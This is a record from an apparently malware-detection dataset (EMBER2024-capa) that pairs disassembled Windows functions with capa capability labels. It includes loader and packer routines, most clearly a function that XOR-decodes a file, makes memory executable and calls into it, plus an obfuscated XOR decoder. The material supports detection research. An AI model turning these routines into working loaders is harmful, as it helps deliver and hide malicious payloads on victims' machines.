joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49d946
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
lea ebp, [esp - 0x90]
sub esp, 0x110
mov eax, dword [0x4d82fc]
xor eax, ebp
mov dword [ebp + 0x8c], eax
push ebx
push esi
mov esi, dword [ebp + 0x98]
cmp dword [esi + 0x198], 0
mov ebx, dword [esi]
push edi
mov dword [ebp - 0x78], esi
mov dword [ebp - 0x80], ebx
jne 0x49da63
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x74]
push eax
push dword [ebp + 0x9c]
mov edi, 0x80
mov dword [ebp - 0x7c], edi
call dword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x49d9c3
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
push edi
push esi
call fcn.004a63d6
push eax
push edi
push str.getpeername___failed_with_errno__d:__s
push ebx
call fcn.0049d191
add esp, 0x18
jmp 0x49da6a
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x9c]
mov dword [ebp - 0x7c], edi
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x49d9f6
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
push edi
push esi
call fcn.004a63d6
push eax
push edi
push str.getsockname___failed_with_errno__d:__s
jmp 0x49d9b5
lea edi, [esi + 0xc8]
lea ebx, [esi + 0x9a]
lea esi, [ebp - 0x74]
call fcn.0049d90d
test eax, eax
jne 0x49da2b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push esi
push dword [ebp - 0x78]
call fcn.004a63d6
push eax
push esi
push str.ssrem_inet_ntop___failed_with_errno__d:__s
push dword [ebp - 0x80]
jmp 0x49d9b6
mov eax, dword [ebp - 0x78]
lea edi, [eax + 0xfc]
lea ebx, [eax + 0xcc]
lea esi, [ebp + 0xc]
call fcn.0049d90d
test eax, eax
jne 0x49da60
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push esi
push dword [ebp - 0x78]
call fcn.004a63d6
push eax
push esi
push str.ssloc_inet_ntop___failed_with_errno__d:__s
jmp 0x49da26
mov esi, dword [ebp - 0x78]
push esi
call fcn.0049d8be
pop ecx
mov ecx, dword [ebp + 0x8c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0047f247
add ebp, 0x90
leave
ret

Function at 0x49da82
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [edi]
mov eax, dword [esi + 0x308]
push 4
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push 1
push 6
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jge 0x49dac7
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push edi
call fcn.004a63d6
push eax
push str.Could_not_set_TCP_NODELAY:__s_n
push esi
call fcn.0049d11e
add esp, 0x14
jmp 0x49dad4
push str.TCP_NODELAY_set_n
push esi
call fcn.0049d11e
pop ecx
pop ecx
pop esi
leave
ret
Function at 0x49df2b
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x520]
cmp eax, 0xffffffff
push esi
je 0x49df7e
mov ecx, dword [ecx + 0x514]
mov ecx, dword [ecx]
lea eax, [ecx + eax*4]
cmp dword [eax], 0
je 0x49df7e
mov ecx, dword [ebp + 0xc]
test ecx, ecx
mov eax, dword [eax]
je 0x49df58
mov dword [ecx], eax
cmp dword [eax + 0x144], 0
mov esi, dword [eax + 0x12c]
jne 0x49df7e
push 2
push 1
lea eax, [ebp + 0xb]
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x49df7e
mov eax, esi
jmp 0x49df81
or eax, 0xffffffff
pop esi
pop ebp
ret
Function at 0x49f053
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x14]
and dword [eax], 0
and dword [ebp - 4], 0
and dword [ebp - 0x14], 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
mov dword [ebp - 8], eax
jne 0x49f1c5
push esi
mov esi, dword [ebp - 0x10]
test esi, esi
mov dword [ebp - 0xc], esi
je 0x49f1aa
push ebx
push edi
jmp 0x49f09b
mov esi, dword [ebp - 0xc]
cmp dword [esi + 4], 2
jne 0x49f13e
cmp dword [esi + 0x18], 0
je 0x49f13e
mov eax, dword [esi + 0x10]
test eax, eax
jbe 0x49f13e
push 0x10
pop edi
cmp eax, edi
jb 0x49f13e
push 0x20
call dword [0x4d95c8]
mov ebx, eax
xor eax, eax
cmp ebx, eax
pop ecx
je 0x49f14e
mov ecx, dword [esi]
mov dword [ebx], ecx
mov ecx, dword [esi + 4]
mov dword [ebx + 4], ecx
mov ecx, dword [esi + 8]
mov dword [ebx + 8], ecx
mov ecx, dword [esi + 0xc]
push edi
mov dword [ebx + 0xc], ecx
mov dword [ebx + 0x10], edi
mov dword [ebx + 0x18], eax
mov dword [ebx + 0x14], eax
mov dword [ebx + 0x1c], eax
call dword [0x4d95c8]
test eax, eax
pop ecx
mov dword [ebx + 0x18], eax
je 0x49f157
mov esi, dword [esi + 0x18]
mov edi, eax
mov eax, dword [ebp - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [eax + 0x14]
test eax, eax
je 0x49f125
push eax
call dword [0x4d95d4]
test eax, eax
pop ecx
mov dword [ebx + 0x14], eax
je 0x49f167
cmp dword [ebp - 4], 0
jne 0x49f12e
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x49f138
mov dword [eax + 0x1c], ebx
mov esi, dword [ebp - 0xc]
mov dword [ebp - 0x14], ebx
mov esi, dword [esi + 0x1c]
test esi, esi
mov dword [ebp - 0xc], esi
jne 0x49f098
jmp 0x49f180
mov dword [ebp - 8], 8
jmp 0x49f180
push ebx
mov dword [ebp - 8], 8
call dword [0x4d95cc]
jmp 0x49f17f
push dword [ebx + 0x18]
mov dword [ebp - 8], 8
call dword [0x4d95cc]
push ebx
call dword [0x4d95cc]
pop ecx
pop ecx
xor esi, esi
cmp dword [ebp - 0x10], esi
pop edi
pop ebx
je 0x49f192
push dword [ebp - 0x10]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp dword [ebp - 8], esi
je 0x49f1a5
push dword [ebp - 4]
call fcn.0049f017
pop ecx
mov dword [ebp - 4], esi
jmp 0x49f1b9
cmp dword [ebp - 4], esi
jne 0x49f1b9
mov eax, 0x2af9
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.WS2_32.dll_WSASetLastError]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
mov eax, dword [ebp - 8]
pop esi
leave
ret
Function at 0x49f517
Capabilities:
Create udp socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x48
push 1
mov ebx, eax
mov edi, ecx
call dword [0x4d95d8]
mov esi, eax
xor eax, eax
cmp esi, eax
pop ecx
pop ecx
mov dword [ebp - 4], 0xc
mov dword [edi + 0x3ac], esi
je 0x49f5c9
mov dword [edi + 0x3a4], eax
mov dword [edi + 0x3a8], eax
mov dword [edi + 0x3a0], eax
mov dword [edi + 0x39c], ebx
or dword [esi + 4], 0xffffffff
push ebx
push dword [ebp + 8]
mov dword [esi], eax
lea eax, [esi + 0x10]
call fcn.0049f3d3
test eax, eax
pop ecx
pop ecx
je 0x49f5c9
lea ebx, [edi + 0x398]
push dword [ebx]
call fcn.00495829
push dword [ebp + 8]
call dword [0x4d95d4]
test eax, eax
pop ecx
pop ecx
mov dword [ebx], eax
je 0x49f5c9
push 0
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 4], eax
je 0x49f5c9
lea eax, [esi + 0x10]
push eax
push 0x49f447
call fcn.004a6bfb
test eax, eax
pop ecx
pop ecx
mov dword [esi], eax
jne 0x49f5e3
call fcn.004802b9
mov eax, dword [eax]
mov dword [ebp - 4], eax
add edi, 0x398
push edi
call fcn.0049f4c5
pop ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x49f5e6
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4a313d
Capabilities:
Check for time delay via gettickcount
Get socket status

Disassembly:
push ebp
lea ebp, [esp - 0x6c]
sub esp, 0x31c
push ebx
mov ebx, dword [ebp + 0x78]
push esi
mov esi, dword [ebp + 0x74]
xor edx, edx
push edi
xor edi, edi
cmp esi, 0xffffffff
mov dword [ebp + 0x64], edx
mov dword [ebp + 0x68], edx
jne 0x4a3171
cmp ebx, esi
jne 0x4a3171
mov eax, dword [ebp + 0x7c]
call fcn.004a311e
jmp 0x4a330e
cmp dword [ebp + 0x7c], edx
jle 0x4a3186
mov edi, dword [ebp + 0x7c]
call fcn.004a4703
mov dword [ebp + 0x68], edx
mov dword [ebp + 0x64], eax
xor edx, edx
xor eax, eax
or ecx, 0xffffffff
inc eax
cmp esi, ecx
mov dword [ebp - 0xa8], edx
mov dword [ebp - 0x1ac], edx
je 0x4a31b6
mov dword [ebp - 0x1a8], esi
mov dword [ebp - 0x1ac], eax
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], eax
mov ecx, esi
cmp ebx, 0xffffffff
mov dword [ebp - 0x2b0], edx
je 0x4a320d
mov dword [ebp - 0x2b0], eax
xor eax, eax
cmp dword [ebp - 0xa8], edx
mov dword [ebp - 0x2ac], ebx
jbe 0x4a31e9
cmp dword [ebp + eax*4 - 0xa4], ebx
je 0x4a31e9
inc eax
cmp eax, dword [ebp - 0xa8]
jb 0x4a31d7
cmp eax, dword [ebp - 0xa8]
jne 0x4a3207
cmp dword [ebp - 0xa8], 0x40
jae 0x4a3207
mov dword [ebp + eax*4 - 0xa4], ebx
inc dword [ebp - 0xa8]
cmp ebx, ecx
jbe 0x4a320d
mov ecx, ebx
cmp dword [ebp + 0x7c], edx
jge 0x4a3216
xor ebx, ebx
jmp 0x4a3219
lea ebx, [ebp + 0x5c]
lea esi, [ecx + 1]
xor eax, eax
cmp dword [ebp + 0x7c], eax
jle 0x4a3238
mov eax, edi
cdq
mov ecx, 0x3e8
idiv ecx
imul edx, edx, 0x3e8
mov dword [ebp + 0x60], edx
jmp 0x4a323d
jne 0x4a3240
mov dword [ebp + 0x60], eax
mov dword [ebp + 0x5c], eax
push ebx
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x2b0]
push eax
lea eax, [ebp - 0x1ac]
push eax
push esi
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
jne 0x4a3299
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
test eax, eax
je 0x4a3273
cmp eax, 0x2714
jne 0x4a329d
cmp dword [ebp + 0x7c], 0
jle 0x4a321c
push dword [ebp + 0x68]
push dword [ebp + 0x64]
call fcn.004a4703
push edx
push eax
call fcn.004a4719
mov edi, dword [ebp + 0x7c]
sub edi, eax
add esp, 0x10
test edi, edi
jg 0x4a321c
jmp 0x4a329d
test eax, eax
jge 0x4a32a2
or eax, 0xffffffff
jmp 0x4a330e
jne 0x4a32a8
xor eax, eax
jmp 0x4a330e
xor esi, esi
cmp dword [ebp + 0x74], 0xffffffff
je 0x4a32da
lea eax, [ebp - 0x1ac]
push eax
push dword [ebp + 0x74]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x4a32c4
inc esi
lea eax, [ebp - 0xa8]
push eax
push dword [ebp + 0x74]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x4a32da
or esi, 4
cmp dword [ebp + 0x78], 0xffffffff
je 0x4a330c
lea eax, [ebp - 0x2b0]
push eax
push dword [ebp + 0x78]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x4a32f6
or esi, 2
lea eax, [ebp - 0xa8]
push eax
push dword [ebp + 0x78]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x4a330c
or esi, 4
mov eax, esi
pop edi
pop esi
pop ebx
add ebp, 0x6c
leave
ret
Function at 0x4a525b
Capabilities:
Parse pe header

Disassembly:
movsx eax, byte [esp + 4]
add eax, 0xffffff9f
cmp eax, 0x19
ja case.default.0x4a5268
jmp dword [eax*4 + 0x4a52c3]
mov al, 0x41
ret
mov al, 0x42
ret
mov al, 0x43
ret
mov al, 0x44
ret
mov al, 0x45
ret
mov al, 0x46
ret
mov al, 0x47
ret
mov al, 0x48
ret
mov al, 0x49
ret
mov al, 0x4a
ret
mov al, 0x4b
ret
mov al, 0x4c
ret
mov al, 0x4d
ret
mov al, 0x4e
ret
mov al, 0x4f
ret
mov al, 0x50
ret
mov al, 0x51
ret
mov al, 0x52
ret
mov al, 0x53
ret
mov al, 0x54
ret
mov al, 0x55
ret
mov al, 0x56
ret
mov al, 0x57
ret
mov al, 0x58
ret
mov al, 0x59
ret
mov al, 0x5a
ret
mov al, byte [esp + 4]
ret

Function at 0x4a6fab
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [esi]
push ebx
xor ebx, ebx
cmp dword [eax + 4], 2
push edi
sete bl
test ebx, ebx
je 0x4a6fcf
push dword [eax + 8]
push dword [ebp + 0xc]
push 1
push dword [ebp + 8]
call dword [esi + 0xc]
jmp 0x4a7000
cmp dword [esi + 8], 0
jne 0x4a6ff0
push 0x4b5eec
push dword [eax + 8]
call fcn.00479b0a
test eax, eax
pop ecx
pop ecx
mov dword [esi + 8], eax
jne 0x4a6ff0
or eax, 0xffffffff
jmp 0x4a7026
push dword [esi + 8]
push dword [ebp + 0xc]
push 1
push dword [ebp + 8]
call fcn.0047a313
mov edi, eax
add esp, 0x10
test edi, edi
je 0x4a700e
cmp edi, dword [ebp + 0xc]
jbe 0x4a7024
test ebx, ebx
jne 0x4a701e
push dword [esi + 8]
call fcn.00479b8f
and dword [esi + 8], ebx
pop ecx
mov eax, dword [esi]
mov eax, dword [eax]
mov dword [esi], eax
mov eax, edi
pop edi
pop ebx
pop ebp
ret
Function at 0x4381c8
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
push edi
push 7
pop ecx
xor eax, eax
lea edi, [ebp - 0x28]
rep stosd dword es:[edi], eax
call dword [fcn.0043c008]
push 0
mov dword [ebp - 4], eax
call dword [0x43c010]
mov cx, word [0x43d034]
xor edx, edx
xor esi, esi
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], edx
cmp si, cx
jae 0x4382a6
mov esi, 0x43d038
push ebx
mov edi, dword [esi + 4]
test edi, edi
je 0x438276
mov ebx, dword [esi]
add ebx, eax
lea eax, [ebp - 0x28]
push edi
push eax
push ebx
push dword [ebp - 4]
call dword [0x43c034]
cmp dword [ebp - 0x18], 0x10000
jne 0x43826c
cmp dword [esi + 0x10], 0x20000000
push 0x40
pop eax
je 0x438254
cmp dword [esi + 0x10], 0x40000000
je 0x438250
cmp dword [esi + 0x10], 0x80000000
jne 0x438257
push 4
jmp 0x438256
push 2
jmp 0x438256
push 0x10
pop eax
push eax
push 0x1000
push edi
push ebx
push dword [ebp - 4]
call dword [0x43c028]
test eax, eax
je 0x438289
mov cx, word [0x43d034]
mov edx, dword [ebp - 8]
inc edx
movzx eax, cx
add esi, 0x18
mov dword [ebp - 8], edx
cmp edx, eax
jge 0x4382a5
mov eax, dword [ebp - 0xc]
jmp 0x43820b
push 0
push 0x43c20c
push 0x43c214
push 0
call dword [0x43c064]
push 1
call dword [0x43c030]
pop ebx
pop edi
pop esi
leave
ret
Function at 0x444006
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov ebx, 0x4495b8
push ebx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov esi, eax
xor edi, edi
test esi, esi
je 0x444069
cmp esi, 0x104
ja 0x444069
push 0x448168
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
inc eax
pop ecx
add eax, esi
mov ecx, 0x104
cmp eax, ecx
ja 0x444069
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
push 0x448164
push ecx
push ebx
call esi
push 0x448168
push 0x104
push ebx
call esi
add esp, 0x18
jmp 0x44406b
mov ebx, edi
push 0x40
push 0x448178
push ebx
push edi
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x448184
push 0x448194
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push ebx
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov dword [ebp - 0x10], esi
cmp esi, 0xffffffff
jne 0x4440c8
push 0x10
push 0x4481a4
push 0x4481ac
push edi
call dword [sym.imp.USER32.dll_MessageBoxA]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x4440f1
push 0x10
push 0x4481a4
push 0x4481c8
push edi
call dword [sym.imp.USER32.dll_MessageBoxA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call fcn.00446572
pop ecx
push edi
lea ecx, [ebp - 4]
mov dword [ebp - 8], eax
push ecx
push ebx
push eax
push esi
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 1
push 0x1000
push ebx
push edi
mov esi, eax
call dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
test esi, esi
je 0x444126
cmp dword [ebp - 4], ebx
je 0x444151
push 0x10
push 0x4481a4
push 0x4481e8
push edi
call dword [sym.imp.USER32.dll_MessageBoxA]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 8]
push esi
call fcn.0044656d
mov eax, dword [ebp - 0xc]
pop ecx
jmp 0x444154
mov esi, dword [ebp - 8]
test ebx, ebx
je 0x444161
xor byte [edi + esi], 0xab
inc edi
cmp edi, ebx
jb 0x444158
lea ecx, [ebp - 0x14]
push ecx
push 0x40
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [ebp - 0xc]
push ebx
push esi
push edi
call dword [sym.imp.VCRUNTIME140.dll_memmove]
add esp, 0xc
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push esi
call fcn.0044656d
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4441c8
Capabilities:
Inspect section memory permissions
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
push edi
push 7
pop ecx
xor eax, eax
lea edi, [ebp - 0x28]
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov cx, word [0x449034]
xor edx, edx
xor esi, esi
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], edx
cmp si, cx
jae 0x4442a6
mov esi, 0x449038
push ebx
mov edi, dword [esi + 4]
test edi, edi
je 0x444276
mov ebx, dword [esi]
add ebx, eax
lea eax, [ebp - 0x28]
push edi
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
cmp dword [ebp - 0x18], 0x10000
jne 0x44426c
cmp dword [esi + 0x10], 0x20000000
push 0x40
pop eax
je 0x444254
cmp dword [esi + 0x10], 0x40000000
je 0x444250
cmp dword [esi + 0x10], 0x80000000
jne 0x444257
push 4
jmp 0x444256
push 2
jmp 0x444256
push 0x10
pop eax
push eax
push 0x1000
push edi
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test eax, eax
je 0x444289
mov cx, word [0x449034]
mov edx, dword [ebp - 8]
inc edx
movzx eax, cx
add esi, 0x18
mov dword [ebp - 8], edx
cmp edx, eax
jge 0x4442a5
mov eax, dword [ebp - 0xc]
jmp 0x44420b
push 0
push 0x448204
push 0x44820c
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop ebx
pop edi
pop esi
leave
ret
Function at 0x4442aa
Capabilities:
Allocate or change rwx memory
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push edi
call fcn.00444006
mov edi, dword [0x449024]
xor eax, eax
xor ebx, ebx
cmp ax, word [0x449034]
jae 0x4443c5
push esi
mov esi, 0x44903c
mov eax, dword [esi + 0x10]
sub eax, 0
je 0x44436c
sub eax, 1
jne 0x4443b1
push dword [esi]
call fcn.00446572
mov ecx, dword [esi + 8]
lea edx, [ebp - 0xc]
mov dword [ebp - 8], eax
mov eax, dword [esi + 4]
add eax, edi
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax]
mov dword [ebp - 0xc], ecx
lea ecx, [eax + 8]
push ecx
lea ecx, [ebp - 0x10]
add eax, 0x10
push ecx
mov ecx, dword [ebp - 8]
push eax
call fcn.004444fa
cmp dword [ebp - 0xc], 0
je 0x4443c9
lea eax, [ebp - 4]
push eax
mov eax, dword [esi - 4]
push 0x40
push dword [esi]
add eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [esi]
mov eax, dword [esi - 4]
push dword [ebp - 8]
add eax, edi
push eax
call dword [sym.imp.VCRUNTIME140.dll_memcpy]
add esp, 0xc
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
mov eax, dword [esi - 4]
push dword [esi]
add eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 8]
call fcn.0044656d
pop ecx
jmp 0x4443b1
cmp dword [esi], 0
je 0x4443b1
lea eax, [ebp - 4]
push eax
mov eax, dword [esi - 4]
push 0x40
push dword [esi]
add eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [esi]
mov eax, dword [esi + 4]
add eax, edi
push eax
mov eax, dword [esi - 4]
add eax, edi
push eax
call dword [sym.imp.VCRUNTIME140.dll_memcpy]
add esp, 0xc
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
mov eax, dword [esi - 4]
push dword [esi]
add eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
movzx eax, word [0x449034]
inc ebx
add esi, 0x18
cmp ebx, eax
jl 0x4442d4
pop esi
pop edi
pop ebx
leave
ret
push 0
push 0x448204
push 0x448220
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4443e6
Capabilities:
Allocate or change rwx memory
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x449030]
xor edx, edx
push esi
push edi
push 0x14
pop ecx
div ecx
mov edi, dword [0x449024]
mov esi, dword [0x44902c]
mov edx, eax
xor eax, eax
mov dword [ebp - 0x24], edx
add esi, edi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], eax
test edx, edx
je 0x4444d9
push ebx
cmp dword [esi], 0
je 0x4444c9
mov eax, dword [esi + 0xc]
add eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [esi]
mov dword [ebp - 0x1c], eax
add ebx, edi
mov eax, dword [esi + 0x10]
add eax, edi
xor edi, edi
mov dword [ebp - 0x10], eax
cmp dword [ebx], edi
je 0x44444f
inc edi
cmp dword [ebx + edi*4], 0
jne 0x444448
lea edx, [ebp - 0xc]
mov ecx, edi
push edx
shl ecx, 2
push 0x40
push ecx
push eax
mov dword [ebp - 0x20], ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
and dword [ebp - 4], 0
test edi, edi
je 0x4444ad
mov ecx, dword [ebp - 0x10]
sub ebx, ecx
mov dword [ebp - 8], ecx
mov eax, dword [ebx + ecx]
test eax, eax
js 0x444486
mov ecx, dword [ebp - 0x14]
add ecx, 2
add eax, ecx
jmp 0x444489
movzx eax, ax
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4444dd
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
inc edx
mov dword [ebp - 4], edx
mov dword [ecx], eax
add ecx, 4
mov dword [ebp - 8], ecx
cmp edx, edi
jb 0x444475
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x20]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x18]
mov edi, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
inc eax
add esi, 0x14
mov dword [ebp - 0x18], eax
cmp eax, edx
jb 0x44441e
pop ebx
pop edi
pop esi
leave
ret
push 0
push 0x448204
push 0x448230
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x100a0090
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x100a00ce
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x100a00c6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x100a00d0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x100a00b6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x100a01a0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x100a01b6
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x100a01d1
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x100b8493
Capabilities:
Encode data using xor

Disassembly:
call 0x100b840c
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x100b843c
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x100b8458
xor edx, 0
jmp 0x100b8463
xor edx, edx
jmp 0x100b847a
jmp 0x100b8486
xor eax, eax
push 0x8427d7c0
call 0x100b8493
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x100b84cf
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x100b84a8
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x100b84e6
add eax, 0
jno 0x100b84eb
add esi, 0
ret 0x10